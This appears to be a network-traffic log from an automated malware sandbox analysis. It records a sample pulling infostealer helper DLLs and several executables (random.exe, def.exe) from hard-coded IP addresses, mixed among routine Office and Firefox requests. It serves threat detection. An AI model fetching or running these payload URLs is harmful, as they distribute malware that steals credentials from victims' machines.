Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub=nosub HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/key HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /bugEWhhZIPIipxajeFfO1732855736?argument=YgANBjRDm57UcFhx1732906276 HTTP/1.1Host: home.twentykx20pt.topAccept: /
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
